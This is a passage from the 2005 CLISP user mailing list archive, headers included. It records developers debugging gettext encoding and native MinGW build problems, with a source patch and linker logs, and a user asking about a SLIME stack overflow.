clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Mon Feb 28 07:21:57 2005 X-Original-Date: Mon, 28 Feb 2005 17:20:34 +0200 Sam Steingold: > > [2]> (language-information) > > > > *** - invalid byte sequence #xCF #xED in CHARSET:UTF-8 conversion > > The following restarts are available: > > ABORT :R1 ABORT > > Break 1 [3]> > > > > clisp option "-E xxx" where xxx is CP1251, CP866 or UTF-8 does not > > influence result > > apparently the return value of language-information contains some bytes > which are not representable in the encodings you tried. > you need a 1:1 encoding. > how about "clisp -E iso-8859-1"? > iso-8859-[1..5] - no effect > UTF-8 is hard-wired in modules/i18n/gettext.c in many many places. > when should it be replaced with *MISC-ENCODING*? > How do it? -- WBR, Yaroslav Kavenchuk. From kavenchuk@jenty.by Mon Feb 28 07:40:38 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1D5n0e-0002SX-65 for clisp-list@lists.sourceforge.net; Mon, 28 Feb 2005 07:40:36 -0800 Received: from [194.158.196.38] (helo=mail.jenty.by) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.41) id 1D5n0c-0003vs-5q for clisp-list@lists.sourceforge.net; Mon, 28 Feb 2005 07:40:36 -0800 Received: from [150.0.0.200] (STNT067 [150.0.0.200]) by mail.jenty.by with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2655.55) id FWN9B9TM; Mon, 28 Feb 2005 17:43:16 +0200 Message-ID: <42233B98.2090307@jenty.by> From: Yaroslav Kavenchuk User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.0; ru-RU; rv:1.7.5) Gecko/20041217 X-Accept-Language: ru, en, en-us MIME-Version: 1.0 To: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] Re: again gettext and win32-native (mingw) References: In-Reply-To: Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-Spam-Score: 0.1 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_PARATHESES_OPEN BODY: Text interparsed with ( 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_SLASH BODY: Text interparsed with / 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_UNDERSCORE BODY: Text interparsed with _ 0.0 AWL AWL: From: address is in the auto white-list Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Mon Feb 28 07:42:16 2005 X-Original-Date: Mon, 28 Feb 2005 17:41:12 +0200 Sam Steingold: > > build-full/clisp.h > > ... > > #define ENABLE_NLS 1 > > ... > > #define GETTEXT(english) english > > ... > > > > build-full/unixconf.h: (this for win32?) > > alas, unixconf.h, although generated on all platforms, is only used on > unix (for the sake of msvc users). > it really should change, but this is not trivial. > if you want to work on this, change lispbibl.d around > "# Determine properties of compiler and environment:" > so that __MINGW32__ is the same as UNIX and see what happens > (you will probably have to put much of win32.d under "#ifndef > __MINGW32__") > > > > for now, adding > > #if defined(__MINGW32__) > #define ENABLE_NLS 1 > #endif > > to win32.d should fix the immediate problem. > Has added. Problem is not fixed: in clisp.h line has remained: #define GETTEXT(english) english clisp from cvs-tarball (not from cvs head) -- WBR, Yaroslav Kavenchuk. From sds@gnu.org Mon Feb 28 08:04:56 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1D5nOC-0003sh-AH for clisp-list@lists.sourceforge.net; Mon, 28 Feb 2005 08:04:56 -0800 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.41) id 1D5nOA-0000zm-Ka for clisp-list@lists.sourceforge.net; Mon, 28 Feb 2005 08:04:55 -0800 Received: from WINSTEINGOLDLAP (winsteingoldlap.ad.alphatech.com [10.41.52.189]) by alphatech.com (8.12.11/8.12.11) with ESMTP id j1SG36mj017194; Mon, 28 Feb 2005 11:03:12 -0500 (EST) To: clisp-list@lists.sourceforge.net, Yaroslav Kavenchuk Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: <422336C2.4060700@jenty.by> (Yaroslav Kavenchuk's message of "Mon, 28 Feb 2005 17:20:34 +0200") References: <422336C2.4060700@jenty.by> Mail-Followup-To: clisp-list@lists.sourceforge.net, Yaroslav Kavenchuk Message-ID: User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/22.0.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: 0.1 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_SLASH BODY: Text interparsed with / 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_AT BODY: Text interparsed with @ 0.0 SF_CHICKENPOX_APOSTROPHE BODY: Text interparsed with ' 0.0 AWL AWL: From: address is in the auto white-list Subject: [clisp-list] Re: language-information give error Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Mon Feb 28 08:06:17 2005 X-Original-Date: Mon, 28 Feb 2005 11:04:24 -0500 > * Yaroslav Kavenchuk [2005-02-28 17:20:34 +0200]: > >> UTF-8 is hard-wired in modules/i18n/gettext.c in many many places. >> when should it be replaced with *MISC-ENCODING*? >> > How do it? done - it's in the CVS now -- Sam Steingold (http://www.podval.org/~sds) running w2k MS Windows vs IBM OS/2: Why marketing matters more than technology... From sds@gnu.org Mon Feb 28 08:53:09 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1D5o8r-0006Yl-2v for clisp-list@lists.sourceforge.net; Mon, 28 Feb 2005 08:53:09 -0800 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.41) id 1D5o8q-00069Q-8w for clisp-list@lists.sourceforge.net; Mon, 28 Feb 2005 08:53:08 -0800 Received: from WINSTEINGOLDLAP (winsteingoldlap.ad.alphatech.com [10.41.52.189]) by alphatech.com (8.12.11/8.12.11) with ESMTP id j1SGpQvv025415; Mon, 28 Feb 2005 11:51:26 -0500 (EST) To: clisp-list@lists.sourceforge.net, Yaroslav Kavenchuk Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: <42233B98.2090307@jenty.by> (Yaroslav Kavenchuk's message of "Mon, 28 Feb 2005 17:41:12 +0200") References: <42233B98.2090307@jenty.by> Mail-Followup-To: clisp-list@lists.sourceforge.net, Yaroslav Kavenchuk Message-ID: User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/22.0.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: 0.1 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_PARATHESES_OPEN BODY: Text interparsed with ( 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_COMMA BODY: Text interparsed with , 0.0 SF_CHICKENPOX_SLASH BODY: Text interparsed with / 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_UNDERSCORE BODY: Text interparsed with _ 0.0 SF_CHICKENPOX_AT BODY: Text interparsed with @ 0.0 SF_CHICKENPOX_APOSTROPHE BODY: Text interparsed with ' -0.0 AWL AWL: From: address is in the auto white-list Subject: [clisp-list] Re: again gettext and win32-native (mingw) Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Mon Feb 28 08:53:46 2005 X-Original-Date: Mon, 28 Feb 2005 11:52:44 -0500 > * Yaroslav Kavenchuk [2005-02-28 17:41:12 +0200]: > > Sam Steingold: > >> > build-full/clisp.h >> > ... >> > #define ENABLE_NLS 1 >> > ... >> > #define GETTEXT(english) english >> > ... >> > >> > build-full/unixconf.h: (this for win32?) >> >> alas, unixconf.h, although generated on all platforms, is only used on >> unix (for the sake of msvc users). >> it really should change, but this is not trivial. >> if you want to work on this, change lispbibl.d around >> "# Determine properties of compiler and environment:" >> so that __MINGW32__ is the same as UNIX and see what happens >> (you will probably have to put much of win32.d under "#ifndef >> __MINGW32__") >> >> >> >> for now, adding >> >> #if defined(__MINGW32__) >> #define ENABLE_NLS 1 >> #endif >> >> to win32.d should fix the immediate problem. >> > Has added. > Problem is not fixed: > in clisp.h line has remained: > #define GETTEXT(english) english well, I guess the trivial tweak did not work. how about the appended patch on top of CVS head? -- Sam Steingold (http://www.podval.org/~sds) running w2k Daddy, why doesn't this magnet pick up this floppy disk? Index: src/win32.d =================================================================== RCS file: /cvsroot/clisp/clisp/src/win32.d,v retrieving revision 1.51 diff -u -w -r1.51 win32.d --- src/win32.d 19 Jan 2005 14:47:59 -0000 1.51 +++ src/win32.d 28 Feb 2005 16:51:43 -0000 @@ -20,7 +20,7 @@ #endif /* for _clisp.c */ -#define STDC_HEADERS +#define STDC_HEADERS 1 #define HAVE_PERROR_DECL /* Declaration of operating system functions */ Index: src/lispbibl.d =================================================================== RCS file: /cvsroot/clisp/clisp/src/lispbibl.d,v retrieving revision 1.616 diff -u -w -r1.616 lispbibl.d --- src/lispbibl.d 24 Feb 2005 19:11:54 -0000 1.616 +++ src/lispbibl.d 28 Feb 2005 16:51:44 -0000 @@ -312,11 +312,11 @@ # Determine properties of compiler and environment: -#if defined(UNIX) +#if defined(UNIX) || defined(__MINGW32__) #include "unixconf.h" # configuration generated by configure #include "intparam.h" # integer-type characteristics created by the machine #include "floatparam.h" # floating-point type characteristics -#elif defined(WIN32) +#elif defined(WIN32) && !defined(__MINGW32__) #include "version.h" /* defines PACKAGE_* */ #define char_bitsize 8 #define short_bitsize 16 @@ -348,6 +348,8 @@ #define SHLIB_ADDRESS_RANGE 0 #define STACK_ADDRESS_RANGE ~0UL #define ICONV_CONST +#else + #error "where is the configuration for your platform?" #endif From kavenchuk@jenty.by Mon Feb 28 09:16:36 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1D5oVY-000848-PQ for clisp-list@lists.sourceforge.net; Mon, 28 Feb 2005 09:16:36 -0800 Received: from [194.158.196.38] (helo=mail.jenty.by) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.41) id 1D5oVY-0006Dn-1k for clisp-list@lists.sourceforge.net; Mon, 28 Feb 2005 09:16:36 -0800 Received: from [150.0.0.200] (STNT067 [150.0.0.200]) by mail.jenty.by with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2655.55) id FWN9B9XH; Mon, 28 Feb 2005 19:19:18 +0200 Message-ID: <4223521A.6050507@jenty.by> From: Yaroslav Kavenchuk User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.0; ru-RU; rv:1.7.5) Gecko/20041217 X-Accept-Language: ru, en, en-us MIME-Version: 1.0 To: clisp-list@lists.sourceforge.net References: In-Reply-To: Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit X-Spam-Score: 0.1 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_PARATHESES_OPEN BODY: Text interparsed with ( 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_SLASH BODY: Text interparsed with / 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_UNDERSCORE BODY: Text interparsed with _ 0.0 AWL AWL: From: address is in the auto white-list Subject: [clisp-list] Re: again gettext and win32-native (mingw) Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Mon Feb 28 09:18:20 2005 X-Original-Date: Mon, 28 Feb 2005 19:17:14 +0200 Sam Steingold: > >> for now, adding > >> > >> #if defined(__MINGW32__) > >> #define ENABLE_NLS 1 > >> #endif > >> > >> to win32.d should fix the immediate problem. > >> > > Has added. > > Problem is not fixed: > > in clisp.h line has remained: > > #define GETTEXT(english) english > > well, I guess the trivial tweak did not work. > > how about the appended patch on top of CVS head? > top of CVS head (without patch): $ ./configure --with-mingw --build build-mingw .... gcc -mno-cygwin -W -Wswitch -Wcomment -Wpointer-arith -Wimplicit -Wreturn-type -Wno-sign-compare -O2 -fexpensive-optimizations -D_WIN32 -DUNICODE -DNO_TERMCAP_NCURSES -DDYNAMIC_FFI -DNO_GETTEXT -I. -x none spvw.o spvwtabf.o spvwtabs.o spvwtabo.o eval.o control.o encoding.o pathname.o stream.o socket.o io.o array.o hashtabl.o list.o package.o record.o weak.o sequence.o charstrg.o debug.o error.o misc.o time.o predtype.o symbol.o lisparit.o i18n.o foreign.o win32aux.o built.o ari80386.o modules.o libcharset.a libavcall.a libcallback.a -luser32 -lws2_32 -lole32 -loleaut32 -luuid -L/usr/local/lib -lsigsegv -o lisp.exe rm -f init.lisp ln ../src/init.lisp init.lisp .... rm -f deprecated.lisp ln ../src/deprecated.lisp deprecated.lisp rm -f interpreted.mem lisp.exe -B . -Efile UTF-8 -Eterminal UTF-8 -norc -m 1400KW -x "(and (load \"init.lisp\") (sys::%saveinitmem) (ext::exit)) (ext::exit t)" make: *** [interpreted.mem] Error 5 What error - I do not know. Popup message: "lisp.exe has caused a error and it will be closed. It is necessary to restart the program." (my translate from russian) -- WBR, Yaroslav Kavenchuk. From sds@gnu.org Mon Feb 28 09:59:53 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1D5pBQ-00029C-1G for clisp-list@lists.sourceforge.net; Mon, 28 Feb 2005 09:59:52 -0800 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.41) id 1D5pBM-0005F0-8U for clisp-list@lists.sourceforge.net; Mon, 28 Feb 2005 09:59:51 -0800 Received: from WINSTEINGOLDLAP (winsteingoldlap.ad.alphatech.com [10.41.52.189]) by alphatech.com (8.12.11/8.12.11) with ESMTP id j1SHw3BM008462; Mon, 28 Feb 2005 12:58:04 -0500 (EST) To: clisp-list@lists.sourceforge.net, Yaroslav Kavenchuk Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: <4223521A.6050507@jenty.by> (Yaroslav Kavenchuk's message of "Mon, 28 Feb 2005 19:17:14 +0200") References: <4223521A.6050507@jenty.by> Mail-Followup-To: clisp-list@lists.sourceforge.net, Yaroslav Kavenchuk Message-ID: User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/22.0.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_AT BODY: Text interparsed with @ 0.0 AWL AWL: From: address is in the auto white-list Subject: [clisp-list] Re: again gettext and win32-native (mingw) Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Mon Feb 28 10:01:47 2005 X-Original-Date: Mon, 28 Feb 2005 12:59:21 -0500 > * Yaroslav Kavenchuk [2005-02-28 19:17:14 +0200]: > > make: *** [interpreted.mem] Error 5 ./configure --with-debug --with-mingw --build build-g run the failing command under gdb. -- Sam Steingold (http://www.podval.org/~sds) running w2k Growing Old is Inevitable; Growing Up is Optional. From kavenchuk@jenty.by Mon Feb 28 10:15:43 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1D5pQl-0003G8-21 for clisp-list@lists.sourceforge.net; Mon, 28 Feb 2005 10:15:43 -0800 Received: from [194.158.196.38] (helo=mail.jenty.by) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.41) id 1D5pQi-0006tt-1k for clisp-list@lists.sourceforge.net; Mon, 28 Feb 2005 10:15:42 -0800 Received: from [150.0.0.200] (STNT067 [150.0.0.200]) by mail.jenty.by with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2655.55) id FWN9B95R; Mon, 28 Feb 2005 20:18:18 +0200 Message-ID: <42235FED.8010309@jenty.by> From: Yaroslav Kavenchuk User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.0; ru-RU; rv:1.7.5) Gecko/20041217 X-Accept-Language: ru, en, en-us MIME-Version: 1.0 To: clisp-list@lists.sourceforge.net References: In-Reply-To: Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-Spam-Score: 0.1 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.1 AWL AWL: From: address is in the auto white-list Subject: [clisp-list] Re: again gettext and win32-native (mingw) Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Mon Feb 28 10:16:52 2005 X-Original-Date: Mon, 28 Feb 2005 20:16:13 +0200 Sam Steingold: > > make: *** [interpreted.mem] Error 5 > > ./configure --with-debug --with-mingw --build build-g > run the failing command under gdb. > `$ ./configure --with-debug...' do not generate error. -- WBR, Yaroslav Kavenchuk. From fph@clouddancer.com Mon Feb 28 18:14:35 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1D5wuB-0007ij-Ku for clisp-list@lists.sourceforge.net; Mon, 28 Feb 2005 18:14:35 -0800 Received: from adsl-67-118-43-14.dsl.renocs.pacbell.net ([67.118.43.14] helo=mail.clouddancer.com ident=ivan) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.41) id 1D5wuB-0007e1-51 for clisp-list@lists.sourceforge.net; Mon, 28 Feb 2005 18:14:35 -0800 Received: from phoenix.clouddancer.com (phoenix.clouddancer.com [192.168.2.30]) by mail.clouddancer.com (Postfix) with ESMTP id CBF2AC0043 for ; Mon, 28 Feb 2005 18:14:34 -0800 (PST) Received: by phoenix.clouddancer.com (Postfix, from userid 104) id AD6EB104003; Mon, 28 Feb 2005 18:14:34 -0800 (PST) From: GP lisper To: clisp-list@lists.sourceforge.net Reply-To: fph@clouddancer.com Message-Id: <20050301021434.AD6EB104003@phoenix.clouddancer.com> X-Spam-Score: 1.0 (+) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 1.0 FORGED_RCVD_HELO Received: contains a forged HELO Subject: [clisp-list] A different Stack Overflow problem Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Mon Feb 28 18:16:21 2005 X-Original-Date: Mon, 28 Feb 2005 18:14:34 -0800 (PST) I've looked into the Faq, but the following don't really match my problem. http://sourceforge.net/mailarchive/message.php?msg_id=1662294 http://sourceforge.net/mailarchive/message.php?msg_id=1785942 Basically, when I run clisp stand alone, I don't crash but if I use it under SLIME, I do crash. The editbin program might help, if I knew where to get it. Background: I'm trying to get the old 1990 Genetic Programming Paradigm lisp code from Koza running on WindowsXP. My .emacs contains (setq inferior-lisp-program "c:/Clisp/clisp-2.33/clisp.bat") and initially, clisp.bat was C:\Clisp\clisp-2.33\full\lisp.exe -B "C:/Clisp/clisp-2.33/" -M "C:\Clisp\clisp-2.33\/full/lispinit.mem" %1 %2 %3 %4 %5 %6 %7 %8 %9 Using SLIME, I was able to load and compile koza.lisp. Then I saved the result to a new image, koza.mem and changed clisp.bat to C:\Clisp\clisp-2.33\full\lisp.exe -B "C:/Clisp/clisp-2.33/" -M "C:\Clisp\clisp-2.33\koza.mem" %1 %2 %3 %4 %5 %6 %7 %8 %9 If I double click the Clisp desktop icon or start clisp via command line, then run the (test-gpp) function, everything is fine (except for a need to write a new fast-eval for GPP in clisp). If I start SLIME instead, I get the endless *** - Program Stack Overflow. RESET crash. I don't know if this is a swank, clisp, or koza problem...well it's probably a windows problem, but where can I fix it? Since I've hit this overflow, I don't know if doing things the hard way with a load and compile of koza everytime I want to use it (and it is the primary reason I'm coding in lisp so I'd prefer it in the image fulltime) will do any good. It seems that I would just run into the stack problem sooner or later.... -TIA- From kavenchuk@jenty.by Tue Mar 01 00:27:13 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1D62in-0001Zl-5K for clisp-list@lists.sourceforge.net; Tue, 01 Mar 2005 00:27:13 -0800 Received: from [194.158.196.38] (helo=mail.jenty.by) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.41) id 1D62il-0004n7-C1 for clisp-list@lists.sourceforge.net; Tue, 01 Mar 2005 00:27:13 -0800 Received: from [150.0.0.200] (STNT067 [150.0.0.200]) by mail.jenty.by with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2655.55) id FWN9B0QA; Tue, 1 Mar 2005 10:29:42 +0200 Message-ID: <42242779.5000307@jenty.by> From: Yaroslav Kavenchuk User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.0; ru-RU; rv:1.7.5) Gecko/20041217 X-Accept-Language: ru, en, en-us MIME-Version: 1.0 To: clisp-list@lists.sourceforge.net References: In-Reply-To: Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 AWL AWL: From: address is in the auto white-list Subject: [clisp-list] Re: again gettext and win32-native (mingw) Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Tue Mar 1 00:27:45 2005 X-Original-Date: Tue, 01 Mar 2005 10:27:37 +0200 Sam Steingold: > > make: *** [interpreted.mem] Error 5 > > ./configure --with-debug --with-mingw --build build-g > run the failing command under gdb. > from CVS head (01.03.2005) no error -- WBR, Yaroslav Kavenchuk. From kavenchuk@jenty.by Tue Mar 01 00:45:50 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1D630n-0002Wq-Jm for clisp-list@lists.sourceforge.net; Tue, 01 Mar 2005 00:45:49 -0800 Received: from [194.158.196.38] (helo=mail.jenty.by) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.41) id 1D630m-0000BP-Lx for clisp-list@lists.sourceforge.net; Tue, 01 Mar 2005 00:45:49 -0800 Received: from [150.0.0.200] (STNT067 [150.0.0.200]) by mail.jenty.by with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2655.55) id FWN9B0R3; Tue, 1 Mar 2005 10:48:30 +0200 Message-ID: <42242BE2.7080203@jenty.by> From: Yaroslav Kavenchuk User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.0; ru-RU; rv:1.7.5) Gecko/20041217 X-Accept-Language: ru, en, en-us MIME-Version: 1.0 To: clisp-list@lists.sourceforge.net References: In-Reply-To: Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 AWL AWL: From: address is in the auto white-list Subject: [clisp-list] Re: again gettext and win32-native (mingw) Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Tue Mar 1 00:47:42 2005 X-Original-Date: Tue, 01 Mar 2005 10:46:26 +0200 Sam Steingold: > how about the appended patch on top of CVS head? > $ ./configure --with-mingw --build build-patch .... mkdir data cd data && ln ../../utils/unicode/UnicodeDataFull.txt . cd data && ln ../../src/clhs.txt . gcc -mno-cygwin -W -Wswitch -Wcomment -Wpointer-arith -Wimplicit -Wreturn-type -Wno-sign-compare -O2 -fexpensive-optimizations -D_WIN32 -DUNICODE -DNO_TERMCAP_NCURSES -DDYNAMIC_FFI -DNO_GETTEXT -I. -x none spvw.o spvwtabf.o spvwtabs.o spvwtabo.o eval.o control.o encoding.o pathname.o stream.o socket.o io.o array.o hashtabl.o list.o package.o record.o weak.o sequence.o charstrg.o debug.o error.o misc.o time.o predtype.o symbol.o lisparit.o i18n.o foreign.o win32aux.o built.o ari80386.o modules.o libcharset.a libavcall.a libcallback.a -luser32 -lws2_32 -lole32 -loleaut32 -luuid -L/usr/local/lib -lsigsegv -o lisp.exe stream.o(.text+0x3e43):stream.c: undefined reference to `_imp__libiconv_open' stream.o(.text+0x3e5c):stream.c: undefined reference to `errno' stream.o(.text+0x3ecf):stream.c: undefined reference to `_imp__libiconv_close' stream.o(.text+0x3ef2):stream.c: undefined reference to `_imp__libiconv_close' stream.o(.text+0x4151):stream.c: undefined reference to `_imp__libiconv' stream.o(.text+0x415a):stream.c: undefined reference to `errno' stream.o(.text+0x41c3):stream.c: undefined reference to `_imp__libiconv_close' stream.o(.text+0x421b):stream.c: undefined reference to `_imp__libiconv_close' stream.o(.text+0x4225):stream.c: undefined reference to `errno' stream.o(.text+0x423a):stream.c: undefined reference to `_imp__libiconv_close' stream.o(.text+0x42cf):stream.c: undefined reference to `_imp__libiconv' stream.o(.text+0x42d7):stream.c: undefined reference to `errno' stream.o(.text+0x44d3):stream.c: undefined reference to `_imp__libiconv' stream.o(.text+0x4526):stream.c: undefined reference to `errno' stream.o(.text+0x45b8):stream.c: undefined reference to `_imp__libiconv_close' stream.o(.text+0x4601):stream.c: undefined reference to `_imp__libiconv_close' stream.o(.text+0x460c):stream.c: undefined reference to `errno' stream.o(.text+0x4624):stream.c: undefined reference to `_imp__libiconv_close' stream.o(.text+0x4859):stream.c: undefined reference to `_imp__libiconv' stream.o(.text+0x4861):stream.c: undefined reference to `errno' stream.o(.text+0x48fd):stream.c: undefined reference to `_imp__libiconv' stream.o(.text+0x4959):stream.c: undefined reference to `_imp__libiconv' stream.o(.text+0x4962):stream.c: undefined reference to `errno' 